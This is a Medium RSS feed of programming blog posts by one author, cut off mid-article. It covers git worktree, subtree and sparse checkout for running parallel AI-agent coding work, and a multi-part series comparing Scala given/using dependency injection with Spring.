<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aabir Hassan on Medium]]></title>
        <description><![CDATA[Stories by Aabir Hassan on Medium]]></description>
        <link>https://medium.com/@aabir-hassan?source=rss-568477d9cac------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5nkToiX1WhRiscI6DwJmuQ.jpeg</url>
            <title>Stories by Aabir Hassan on Medium</title>
            <link>https://medium.com/@aabir-hassan?source=rss-568477d9cac------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 06:49:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aabir-hassan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Git Worktree, Subtree & Sparse Checkout: Build Parallel AI Agent Workflows Without Losing Your Mind]]></title>
            <link>https://aabir-hassan.medium.com/git-worktree-subtree-sparse-checkout-build-parallel-ai-agent-workflows-without-losing-your-mind-6e39300e7073?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e39300e7073</guid>
            <category><![CDATA[git-worktree]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[sparse-checkout]]></category>
            <category><![CDATA[git]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 17:01:36 GMT</pubDate>
            <atom:updated>2026-02-15T17:01:36.041Z</atom:updated>
            <content:encoded><![CDATA[<h4>How simple Git tricks let you run many features at once and let AI agents work in parallel</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_qR6PeLnpveo33e7D8amg.png" /></figure><p>We all use Git like it’s a checklist. Clone. Checkout. Commit. Push. Repeat. That was me for years. I thought that was enough.</p><p>Then I dug deeper. Git has features most people never touch. These features change how you work. They make parallel work simple. They let AI agents actually be useful instead of getting in your way.</p><h3>Quick map : what we’ll cover</h3><ul><li>What subtree, sparse checkout, and worktree do.</li><li>When each one helps and when it hurts.</li><li>Why worktree is the real game changer.</li><li>A practical agentic workflow you can use today.</li><li>Disk and memory trade-offs.</li><li>A simple and sample ready-to-use prompt for your AI agent.</li></ul><h3>Subtree : copy a repo into another repo</h3><p>Think of subtree as a way to drop one repo inside another. It pulls the code in. It can keep history. Or it can squash it into one commit.</p><p>Examples:</p><pre>git subtree add --prefix=libs/common https://github.com/org/common.git main --squash</pre><p>When to use it:</p><ul><li>You want to vendor a library.</li><li>You want to merge two repos for good.</li></ul><p>Pros:</p><ul><li>No awkward submodule commands.</li><li>Everything is inside one repo.</li></ul><p>Cons:</p><ul><li>It rewrites history.</li><li>It creates extra merge noise.</li><li>Not useful for parallel feature work.</li></ul><p>A note on submodules: if you use them, remember they point to another repo. They behave differently. Git Submodule is a pointer. Subtree is a copy.</p><p>Bottom line: subtree solves repo structure problems. It does not help you run two features at once.</p><h3>Sparse checkout : hide the files you don’t need</h3><p>Sparse checkout lets you only show parts of the repo in your working folder. The full repo is still there. Git just hides the files you don’t want to see. This is introduced with <strong>Git 2.25+.</strong></p><p>Example:</p><pre>git sparse-checkout init --cone<br>git sparse-checkout set services/payment services/user</pre><p>Now your working directory only shows those paths. The full history still exists. Git just hides the rest.</p><p>When to use it:</p><ul><li>The repo is huge.</li><li>You only work on a small part.</li><li>You want faster file watchers and less noise.</li></ul><p>Pros:</p><ul><li>Cleaner working directory.</li><li>Faster operations on very big repos.</li></ul><p>Cons:</p><ul><li>It does not create separate workspaces.</li><li>It does not stop merges or conflicts.</li><li>It does not isolate branch state.</li></ul><p>Sparse checkout is a view filter. It helps you focus. It does not create parallel branches.</p><h3>Worktree : multiple branches at the same time</h3><p>Worktree is the tool that actually changes how you work. This is <strong>Introduced with Git 2.5</strong> (April 2015)</p><p>It lets you check out different branches into different folders. Each folder is a full working copy on its own branch. You can run them at the same time. You can open multiple terminals. You can run multiple servers. No flipping branches, no stashing.</p><p>How to create a worktree:</p><pre>git branch feature-a<br>git worktree add ../wt-feature-a feature-a<br><br>git branch feature-b<br>git worktree add ../wt-feature-b feature-b</pre><p>Now you have two folders. Each folder is on a different branch. Each folder is independent.</p><p>Why this matters:</p><ul><li>No branch switching.</li><li>No accidental file leaks.</li><li>You can run two builds at once.</li><li>Tests run in parallel.</li></ul><p>Internal gist:</p><ul><li>The object store is shared.</li><li>Each worktree has its own working files and index.</li><li>Commits are shared, but your working copy is separate.</li></ul><h3>If both features touch the same code : worktree still wins</h3><p>If Feature A and Feature B both change services/payment and services/user, sparse checkout won’t help. You still need the same folders. Subtree is irrelevant.</p><p>Worktree gives you two isolated states. Each state can edit the same files. Each state keeps its own uncommitted changes. That is the key. You get true parallelism.</p><h3>Disk and memory : what really grows</h3><p>Will two worktrees triple your disk use? No. But they do add working copies.</p><p>A typical repo has:</p><ul><li>A big .git/objects store (shared).</li><li>A working directory (per worktree).</li></ul><p>Example:</p><ul><li>.git/objects = 120 MB</li><li>Working copy = 80 MB</li></ul><p>Three worktrees = 120 + 80 * 3 = 360 MB. Not 600 MB.</p><p>The real disk killers are build folders. Things like node_modules, dist, or target will multiply across worktrees. Use shared caches or put builds in separate places if disk is tight.</p><h3>Agentic AI workflows : why worktree matters now</h3><p>AI agents are getting better at writing code. But they still need clean boundaries.</p><p>Imagine this:</p><ul><li>Each feature has a spec file. Simple markdown.</li><li>One spec → one branch → one worktree.</li><li>One AI agent reads the spec and works only in that worktree.</li></ul><p>This gives AI agents good context. It removes accidental state bleeding. It gives clear diffs. It makes reviews simple.</p><p>Worktree gives each agent its own sandbox. Agents do not step on each other. They have isolated files and their own branch pointer.</p><p>Sparse checkout helps if the repo is huge. It trims noise for the agent. Subtree helps if you need to merge repos. But for agentic parallel work, worktree is the anchor.</p><h3>A simple repo layout for agent-driven work</h3><pre>repo/<br>  services/<br>    payment/<br>    user/<br>  libs/<br>    common/<br>  agent-specs/<br>    feature-payment.md<br>    feature-user.md</pre><p>Each feature-*.md has:</p><ul><li>Goal</li><li>Files to change</li><li>Tests to add</li><li>Acceptance criteria</li></ul><p>Supervisor agent reads specs. It creates branches and worktrees. It assigns worker agents. Each worker builds, tests, and commits in its worktree.</p><h3>Example supervisor steps (script-friendly)</h3><ol><li>Read agent-specs/feature-payment.md.</li><li>Create branch feature/payment.</li><li>Create worktree ../wt-payment.</li><li>Run linter and tests.</li><li>Let AI implement changes.</li><li>Run tests again.</li><li>Push branch and open PR.</li></ol><p>You can automate this. Or run it from your IDE.</p><h3>A ready prompt for an AI worker</h3><p>Use a clear, tight prompt. Agents like rules.</p><pre>Read agent-specs/feature-payment.md.<br>Only change files listed under &quot;Affected Modules&quot;.<br>Create small commits with clear messages.<br>Add unit tests for new behavior.<br>Run tests and report failures.<br>Do not push until you pass tests.<br>Do not merge anything to main/master.</pre><p>Small rules. Clear scope. No guessing.</p><h3>What breaks and how to handle it</h3><p>If two agents edit the same lines, you get merge conflicts. Worktrees don’t stop that. They only stop shared working-state problems.</p><p>For conflicts:</p><ul><li>Rebase or merge one branch.</li><li>Resolve locally.</li><li>Push and open PR.</li></ul><p>Use small commits and frequent syncs to reduce pain.</p><h3>Final takeaways</h3><ul><li>Subtree is for moving or merging repos. Use it when you need repo-level changes.</li><li>Sparse checkout is for hiding stuff in huge repos. Use it to speed things up.</li><li>Worktree is for working on many things at once. Use it to run parallel work and to give agents clean sandboxes.</li></ul><p>In the age of agentic AI, neat workspaces matter. Agents need a clear playground. Worktrees give them that playground without wasting space. That makes both humans and machines faster and less error-prone.</p><p>Most teams barely touch these features. Try one worktree per feature for a week. You’ll stop flipping branches. You’ll stop losing work. You might even enjoy the quiet.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e39300e7073" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scala Dependency Injection for Java Developers (Bonus): Refactoring a Bad Context-Bound API]]></title>
            <link>https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-bonus-refactoring-a-bad-context-bound-api-0365f3b19df7?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/0365f3b19df7</guid>
            <category><![CDATA[scala]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 13:42:41 GMT</pubDate>
            <atom:updated>2026-01-04T13:42:41.197Z</atom:updated>
            <content:encoded><![CDATA[<p>By now, you’ve seen how Scala DI (given/using) can replace Spring DI, prevent runtime errors, and make your dependencies explicit. But as with any tool, <strong>misuse can create pain</strong>.</p><p>One common trap is <strong>overusing context bounds</strong>, creating APIs that are hard to read, debug, and maintain. In this bonus article, I’ll show a real-world example of a <strong>bad context-bound API</strong> and how to refactor it for clarity and safety.</p><h3>1. The Problem: A Bad Context-Bound API</h3><p>Imagine you have a utility that processes data in some domain:</p><pre>def processData[T: Serializer: Validator: Logger: Metrics](data: T): Unit =<br>  val serializer = summon[Serializer[T]]<br>  val validator  = summon[Validator[T]]<br>  val logger     = summon[Logger]<br>  val metrics    = summon[Metrics]<br><br>if validator.validate(data) then<br>    val bytes = serializer.serialize(data)<br>    logger.log(s&quot;Serialized data: $bytes&quot;)<br>    metrics.record(data)</pre><p>At first glance, it works. But now consider:</p><ul><li><strong>Four context bounds</strong> just to call one function</li><li><strong>Readers have to track multiple implicits</strong> across scopes</li><li>Any new dependency requires modifying every caller</li><li>Hard to test in isolation</li></ul><p>Even if it’s type-safe, this is <strong>implicit hell</strong>.</p><p>Analogy:</p><blockquote><em>It’s like giving a chef a recipe but not telling them where the ingredients are they need to search the pantry every time.</em></blockquote><h3>2. Why This Is a Problem</h3><ol><li><strong>Readability:</strong> Developers need to know what each given does and where it comes from.</li><li><strong>Testability:</strong> You must provide all implicits for unit tests, even if some are unrelated.</li><li><strong>Extensibility:</strong> Adding a new dependency forces changing every call site.</li></ol><p>Clearly, context bounds are <strong>not always the right choice</strong>. They shine in small, generic utilities, but not in functions with multiple side-effects or services.</p><h3>3. The Refactor: Use Explicit using Parameters</h3><p>A better approach is to switch from context bounds to <strong>explicit </strong><strong>using parameters</strong>:</p><pre>def processData[T](<br>    data: T<br>)(using serializer: Serializer[T],<br>      validator: Validator[T],<br>      logger: Logger,<br>      metrics: Metrics): Unit =<br>  if validator.validate(data) then<br>    val bytes = serializer.serialize(data)<br>    logger.log(s&quot;Serialized data: $bytes&quot;)<br>    metrics.record(data)</pre><ul><li><strong>All dependencies are explicit</strong></li><li>You can now pass different implementations easily</li><li>Readers immediately see what’s needed</li><li>Unit testing becomes trivial</li></ul><h3>4. Example Usage</h3><pre>given jsonSerializer: Serializer[User] with ...<br>given userValidator: Validator[User] with ...<br>given consoleLogger: Logger with ...<br>given metricsCollector: Metrics with ...<br><br>val user = User(&quot;Alice&quot;)<br>processData(user) // compiler ensures all dependencies are available</pre><ul><li>Compiler checks that all required givens exist</li><li>No surprises at runtime</li><li>No need to guess which implicit will be summoned</li></ul><h3>5. Optional: Group Dependencies into Context Objects</h3><p>For very large numbers of dependencies, consider <strong>wrapping them in a context object</strong>:</p><pre>case class ProcessingContext[T](<br>  serializer: Serializer[T],<br>  validator: Validator[T],<br>  logger: Logger,<br>  metrics: Metrics<br>)<br><br>def processData[T](data: T)(using ctx: ProcessingContext[T]): Unit =<br>  if ctx.validator.validate(data) then<br>    val bytes = ctx.serializer.serialize(data)<br>    ctx.logger.log(s&quot;Serialized data: $bytes&quot;)<br>    ctx.metrics.record(data)</pre><ul><li>Reduces clutter in function signatures</li><li>Groups related services logically</li><li>Still explicit and type-safe</li></ul><h3>6. Wrapping Up</h3><p>The lesson is simple:</p><ul><li>Context bounds are <strong>not magic</strong>, and overusing them leads to “implicit hell.”</li><li>Use <strong>explicit </strong><strong>using parameters</strong> for clarity and testability.</li><li>For multiple related dependencies, <strong>group them into a context object</strong>.</li><li>Type safety and compile-time wiring are powerful, but readability and maintainability still matter.</li></ul><p>Scala DI gives you <strong>freedom</strong>, but with freedom comes responsibility. Use it wisely, and your APIs will be clear, safe, and composable.</p><p><strong>Takeaway:</strong></p><p>Even with powerful tools like given and using, <strong>clarity wins over cleverness</strong>. Refactor context-bound APIs when they start to hurt readability, testability, or maintainability.</p><blockquote><em>Your compiler is your friend — but your teammates will thank you too.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0365f3b19df7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scala Dependency Injection for Java Developers (Part 5): Where Scala DI Can Go Wrong]]></title>
            <link>https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-5-where-scala-di-can-go-wrong-c6ebb32ce462?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6ebb32ce462</guid>
            <category><![CDATA[java]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[scala]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 13:37:23 GMT</pubDate>
            <atom:updated>2026-01-04T15:27:52.358Z</atom:updated>
            <content:encoded><![CDATA[<p>After exploring Spring DI, Scala given/using, and the compile-time safety benefits, it might feel like Scala has <strong>solved everything</strong>. But reality is more nuanced. Scala DI is powerful, but it <strong>can be misused</strong>, leading to confusing, hard-to-maintain code.</p><p>In this article, I’ll show common pitfalls, explain why they happen, and highlight <strong>when Spring might actually be the better choice</strong>. This is not about evangelizing Scala — it’s about thinking critically as a developer.</p><h3>1. Overusing Context Bounds</h3><p>Context bounds are a convenient Scala shorthand. For example:</p><pre>def printList[T: Ordering](list: List[T]): Unit =<br>  println(list.sorted)</pre><p>Here, [T: Ordering] is a context bound, which under the hood is equivalent to:</p><pre>def printList[T](list: List[T])(using ord: Ordering[T]): Unit =<br>  println(list.sorted)</pre><p>Context bounds are neat for small, simple cases. But in large applications, <strong>overusing them can lead to implicit chaos</strong>:</p><pre>def complexFunction[A: Foo: Bar: Baz](a: A)(using logger: Logger) = ...</pre><ul><li>Now you have <strong>four or more implicit dependencies</strong>, scattered across scopes</li><li>It becomes hard to know where each dependency comes from</li><li>Reading the API is confusing: you see [A: Foo: Bar: Baz] but have no clue how it’s wired</li></ul><p><strong>Lesson:</strong> context bounds are great for small utilities but not for complex services. Prefer <strong>explicit </strong><strong>using parameters</strong> for clarity.</p><h3>2. Implicit Hell</h3><p>Scala’s implicit system (now given/using) can be abused:</p><pre>given Logger with ...<br>given Database with ...<br><br>def saveUser(user: User)(using db: Database, logger: Logger) = ...</pre><p>If you start chaining these across many layers:</p><ul><li>Functions start to have <strong>hidden dependencies</strong></li><li>Debugging becomes hard if the wrong instance is in scope</li><li>New developers struggle to figure out what gets injected</li></ul><p>Analogy:</p><blockquote><em>Implicit hell is like passing secret ingredients between chefs in a kitchen without labels. The dish might turn out fine, but if something is off, you spend hours figuring out why.</em></blockquote><p>Scala gives you the tools to manage this, but <strong>discipline is required</strong>. In large projects, prefer <strong>explicit composition and dependency injection</strong> over relying heavily on implicit resolution.</p><h3>3. Hard-to-Read APIs</h3><p>One of the biggest trade-offs of Scala DI is that APIs can become <strong>less readable</strong> if you try to hide too much behind given and using.</p><p>Example:</p><pre>class OrderService(using PaymentService, Logger, EmailService):<br>  def placeOrder(amount: Double): Unit = ...</pre><ul><li>Developers now need to track <strong>three different dependencies</strong>, potentially defined far away</li><li>Type-driven wiring is powerful, but <strong>too many </strong><strong>using parameters</strong> makes code harder to read than a Spring class with explicit constructor injection</li></ul><p>Tip: <strong>Limit the number of </strong><strong>using parameters per class</strong>. Split responsibilities or pass dependencies explicitly when clarity matters.</p><h3>4. When Spring Is Actually Better</h3><p>Scala DI shines in:</p><ul><li>Explicit, type-safe wiring</li><li>Composable, functional design</li><li>Compile-time error detection</li></ul><p>But Spring still makes sense in certain cases:</p><ul><li>Very large teams already familiar with Spring</li><li>Applications that rely heavily on <strong>runtime configuration</strong></li><li>Situations with <strong>legacy Java code</strong></li><li>Complex AOP, proxying, or bean lifecycle needs</li></ul><p>Scala DI isn’t a silver bullet. It <strong>replaces Spring in many cases</strong>, but not all. Good developers choose the right tool for the problem.</p><h3>Wrapping Up the Series</h3><p>Here’s the takeaway from this five-part journey:</p><ol><li><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-1-why-spring-di-feels-heavy-215a9cbf9b5e"><strong>Part 1:</strong> Spring DI is convenient but has hidden runtime overhead</a></li><li><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-2-given-and-using-explained-1c7c6f42f917"><strong>Part 2:</strong> Scala’s </a><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-2-given-and-using-explained-1c7c6f42f917">given/</a><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-2-given-and-using-explained-1c7c6f42f917">using provides explicit, type-driven DI</a></li><li><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-3-how-scala-replaces-spring-di-without-a-300a33a1483e"><strong>Part 3:</strong> You can replace Spring DI entirely with plain objects and composition</a></li><li><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-4-bugs-spring-allows-that-scala-prevents-e581ca04cd2c"><strong>Part 4:</strong> Scala DI prevents common runtime Spring bugs</a></li><li><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-5-where-scala-di-can-go-wrong-c6ebb32ce462"><strong>Part 5:</strong> Scala DI can go wrong if misused; context bounds, implicit hell, and overly complex APIs are pitfalls</a></li><li><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-bonus-refactoring-a-bad-context-bound-api-0365f3b19df7">Bonus: Refactoring a Bad Context-Bound API</a></li></ol><p>The goal isn’t to promote Scala or bash Spring. It’s to <strong>think critically</strong> about DI in any language, understand trade-offs, and make informed choices.</p><p>If you’re a Java developer exploring Scala, you now have a roadmap:</p><ul><li>Learn to embrace explicitness</li><li>Use given and using wisely</li><li>Recognize when runtime magic is actually helpful</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6ebb32ce462" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scala Dependency Injection for Java Developers (Part 4): Bugs Spring Allows That Scala Prevents]]></title>
            <link>https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-4-bugs-spring-allows-that-scala-prevents-e581ca04cd2c?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/e581ca04cd2c</guid>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[scala]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 13:37:23 GMT</pubDate>
            <atom:updated>2026-01-04T15:24:57.973Z</atom:updated>
            <content:encoded><![CDATA[<p>When you work with Spring for a while, you get used to certain errors showing up <strong>only at runtime</strong>. A missing bean here, a wrong qualifier there, sometimes subtle, sometimes catastrophic.</p><p>As a Java developer moving into Scala, one of the biggest surprises is: <strong>Scala prevents many of these bugs at compile time</strong>.</p><p>In this article, we’ll go through <strong>real Spring failure modes</strong>, show how they occur, and explain why Scala’s DI approach eliminates them. This is where you start to see the real benefit of explicit, compile-time wiring.</p><h3>1. Missing Beans</h3><p>In Spring, a common runtime error is <strong>missing beans</strong>.</p><p>Example:</p><pre>@Service<br>public class OrderService {<br>    @Autowired<br>    private PaymentService paymentService;<br>    <br>    public void placeOrder(double amount) {<br>        paymentService.process(amount);<br>    }<br>}</pre><p>If you forget to declare a PaymentService bean:</p><pre>// No @Service or @Bean for PaymentService</pre><p>When you start the application, Spring throws:</p><pre>org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type &#39;PaymentService&#39; available</pre><ul><li>The error only shows up <strong>when the app runs</strong></li><li>In large systems, tracking down missing beans can be painful, especially if multiple modules are involved</li></ul><h3>Scala’s Approach</h3><p>In Scala, missing dependencies are <strong>caught by the compiler</strong>:</p><pre>class OrderService(using PaymentService):<br>  def placeOrder(amount: Double): Unit =<br>    summon[PaymentService].process(amount)</pre><p>If there’s no given PaymentService in scope, your code <strong>won’t compile</strong>:</p><pre>could not find implicit value for parameter paymentService: PaymentService</pre><p>No surprises at runtime. You <strong>fix the problem before even running the app</strong>.</p><h3>2. Wrong Qualifiers</h3><p>Spring allows multiple beans of the same type, which often leads to runtime qualifier errors.</p><p>Example:</p><pre>@Service<br>@Qualifier(&quot;paypal&quot;)<br>public class PaypalPaymentService implements PaymentService {...}<br><br>@Service<br>@Qualifier(&quot;stripe&quot;)<br>public class StripePaymentService implements PaymentService {...}<br><br>@Service<br>public class OrderService {<br>    @Autowired<br>    private PaymentService paymentService;<br>}</pre><p>Without specifying a qualifier:</p><pre>NoUniqueBeanDefinitionException: expected single matching bean but found 2</pre><ul><li>Developers must remember to add @Qualifier or risk runtime crashes</li><li>Mistakes are easy in large systems</li></ul><h3>Scala’s Approach</h3><p>Scala DI uses <strong>type-driven resolution</strong>, so the compiler enforces correct wiring.</p><pre>given paypalPaymentService: PaymentService with ...<br>given stripePaymentService: PaymentService with ...<br><br>class OrderService(using pp: PaymentService):<br>  def placeOrder(amount: Double): Unit = ...</pre><ul><li>If multiple given exist, Scala requires explicit selection:</li></ul><pre>val orderService = new OrderService()(using paypalPaymentService)</pre><ul><li>Mistakes are <strong>visible immediately</strong></li><li>You cannot accidentally pick the wrong dependency</li></ul><h3>3. Runtime Proxy Issues</h3><p>Spring DI sometimes uses <strong>runtime proxies</strong> to implement features like AOP, lazy beans, or transaction management.</p><ul><li>Errors can be subtle, such as NullPointerException because the proxy wasn’t initialized correctly</li><li>Circular dependencies may silently fail until a certain method is called</li></ul><p>Example:</p><pre>@Service<br>public class ServiceA {<br>    @Autowired<br>    private ServiceB serviceB;<br>}<br><br>@Service<br>public class ServiceB {<br>    @Autowired<br>    private ServiceA serviceA;<br>}</pre><p>Spring might inject a <strong>proxy</strong>, but calling methods too early or in certain orders can cause runtime failures.</p><h3>Scala’s Approach</h3><p>Scala DI doesn’t need proxies:</p><ul><li>Everything is explicit</li><li>Dependencies are passed <strong>directly via constructor or context</strong></li><li>Circular dependencies are caught <strong>at compile time</strong>, not runtime</li></ul><pre>class ServiceA(using ServiceB) { ... }<br>class ServiceB(using ServiceA) { ... } // compile-time error</pre><p>No hidden surprises. No runtime proxy pitfalls.</p><h3>4. Why This Matters in Large Systems</h3><p>In small projects, Spring’s runtime magic is convenient. But in large systems:</p><ul><li>Hundreds of beans, modules, and teams</li><li>Runtime errors are expensive and hard to debug</li><li>Refactoring is risky because the container wiring is implicit</li></ul><p>Scala DI solves this:</p><ul><li><strong>Fail fast:</strong> compiler tells you missing dependencies</li><li><strong>Explicit wiring:</strong> easy to understand how modules interact</li><li><strong>Safer refactoring:</strong> changing one service won’t break others silently</li></ul><p>For Java developers used to Spring, this shift feels like <strong>going from foggy runtime to crystal-clear compile-time clarity</strong>.</p><h3>Wrapping Up…</h3><p>Spring DI works well but allows <strong>runtime surprises</strong>: missing beans, wrong qualifiers, and proxy issues. These are expensive mistakes in large projects.</p><p>Scala’s DI approach is <strong>explicit, type-driven, and compile-time safe</strong>. You know immediately when a dependency is missing or ambiguous. This is the point where many developers realize the <strong>real power of Scala DI</strong>, beyond just syntax changes.</p><p>In the next article, we’ll explore <strong>where Scala DI can go wrong</strong>. Yes, even Scala has pitfalls if you misuse context bounds or overuse implicits. Understanding these will make you a <strong>smarter, safer Scala developer</strong>.</p><p><strong>Next Article Hint:</strong></p><blockquote><a href="https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-5-where-scala-di-can-go-wrong-c6ebb32ce462"><em>Part 5</em></a><em> will cover “Where Scala DI Can Go Wrong.” We’ll explore implicit pitfalls, context-bound misuse, and readability challenges — and when Spring might actually be a better choice.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e581ca04cd2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scala Dependency Injection for Java Developers (Part 3): How Scala Replaces Spring DI Without a…]]></title>
            <link>https://aabir-hassan.medium.com/scala-dependency-injection-for-java-developers-part-3-how-scala-replaces-spring-di-without-a-300a33a1483e?source=rss-568477d9cac------2</link>
            <guid isPermaLink="false">https://medium.com/p/300a33a1483e</guid>
            <category><![CDATA[scala]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Aabir Hassan]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 13:37:22 GMT</pubDate>
            <atom:updated>2026-01-04T15:24:16.835Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scala Dependency Injection for Java Developers (Part 3): How Scala Replaces Spring DI Without a Framework</h3><p>When I first tried Scala, one thing hit me immediately: there’s <strong>no Spring container</strong>. No @ComponentScan, no runtime bean scanning, no reflection-based wiring. At first, it felt… empty.</p><p>But then came the “aha” moment. I realized that <strong>Scala DI doesn’t need a framework</strong>. Plain objects, functions, and composition replace Spring’s configuration and runtime magic. And once you get it, you start asking: <em>“Do I really need a container at all?”</em></p><p>In this article, we’ll explore how Scala handles dependency injection <strong>without a framework</strong>, why that is powerful, and how composition becomes the new configuration.</p><h3>1. The Missing Container: Why It’s Okay</h3><p>In Spring, the container is central:</p><ul><li>It scans your classpath for beans</li><li>It resolves dependencies at runtime</li><li>It manages lifecycle events and proxies</li></ul><p>In Scala, you don’t have a container. You define your dependencies with given and request them with using. That’s it.</p><pre>trait Logger:<br>  def log(message: String): Unit<br><br>given Logger with<br>  def log(message: String): Unit = println(s&quot;[LOG] $message&quot;)<br><br>class UserService(using Logger):<br>  def createUser(name: String): Unit =<br>    summon[Logger].log(s&quot;Creating user $name&quot;)</pre><p>No Spring, no annotations, no runtime magic. Just plain objects wired by the compiler.</p><h3>Why This Works</h3><p>The key is <strong>type-driven wiring</strong>:</p><ul><li>Every class defines <strong>what it needs</strong> (using Logger)</li><li>Every given defines <strong>what is available</strong> (given Logger)</li><li>The compiler ensures everything fits</li></ul><p>Analogy:</p><blockquote><em>Spring DI is like a hotel concierge: it takes care of everything at runtime, but you don’t see the process.<br>Scala DI is like a coffee bar at home: you pick the beans, the cup, the grinder — and the compiler makes sure you haven’t left anything behind. You control everything, and mistakes are caught before you even brew.</em></blockquote><h3>2. No Lifecycle Magic</h3><p>Spring DI often manages object lifecycle:</p><ul><li>@PostConstruct / @PreDestroy</li><li>Proxies for AOP</li><li>Lazy initialization</li></ul><p>In Scala, <strong>you don’t need a container to handle this</strong>. Lifecycle is explicit:</p><pre>class Database:<br>  def connect(): Unit = println(&quot;Connecting&quot;)<br>  def close(): Unit = println(&quot;Closing&quot;)<br><br>  given Database with new Database<br><br>class Repository(using db: Database):<br>  def query(sql: String): Unit =<br>    db.connect()<br>    println(s&quot;Running query: $sql&quot;)<br>    db.close()</pre><p>Every step is visible. Nothing is hidden. You see exactly when objects are created, used, and disposed.</p><h3>3. Plain Objects + Functions Replace Beans</h3><p>Scala DI encourages thinking in terms of <strong>plain objects and functions</strong>:</p><pre>def sendEmail(email: String, subject: String)(using logger: Logger): Unit =<br>  logger.log(s&quot;Sending email to $email with subject $subject&quot;)</pre><ul><li>No class hierarchy is required</li><li>No container to register beans</li><li>Functions themselves become composable units of logic</li></ul><p>Compare with Spring:</p><pre>@Service<br>public class EmailService {<br>    @Autowired<br>    private Logger logger;<br><br>    public void sendEmail(String email, String subject) {<br>        logger.log(&quot;Sending email to &quot; + email);<br>    }<br>}</pre><p>Spring requires classes, annotations, and runtime wiring. Scala makes functions first-class citizens. <strong>Dependencies flow naturally</strong> without boilerplate.</p><h3>4. Composition Replaces Configuration</h3><p>One of the most powerful aspects is <strong>composition</strong>:</p><pre>trait PaymentProcessor:<br>  def process(amount: Double): Unit<br><br>given PaymentProcessor with<br>  def process(amount: Double): Unit =<br>    println(s&quot;Processing $$amount&quot;)<br><br>class OrderService(using pp: PaymentProcessor, logger: Logger):<br>  def placeOrder(amount: Double): Unit =<br>    pp.process(amount)<br>    logger.log(s&quot;Order processed for $$amount&quot;)</pre><ul><li>Instead of writing XML or configuring beans, you <strong>compose dependencies</strong> in code</li><li>Adding new behavior (e.g., logging, validation) is as simple as passing a new given</li><li>Everything remains type-safe and checked at compile time</li></ul><p>Analogy:</p><blockquote><em>In Spring, configuration is often a recipe book: you write instructions in XML, annotations, or Java config.<br>In Scala, configuration is </em><strong><em>composition</em></strong><em>: you assemble ingredients directly in code. You know exactly what goes into the dish.</em></blockquote><h3>5. The “Aha” Moment</h3><p>Here’s why this clicked for me:</p><ul><li>I realized that <strong>I didn’t need a framework to wire dependencies</strong></li><li>Plain objects + functions + given/using were enough</li><li>Everything was <strong>visible, type-safe, and composable</strong></li><li>Adding new 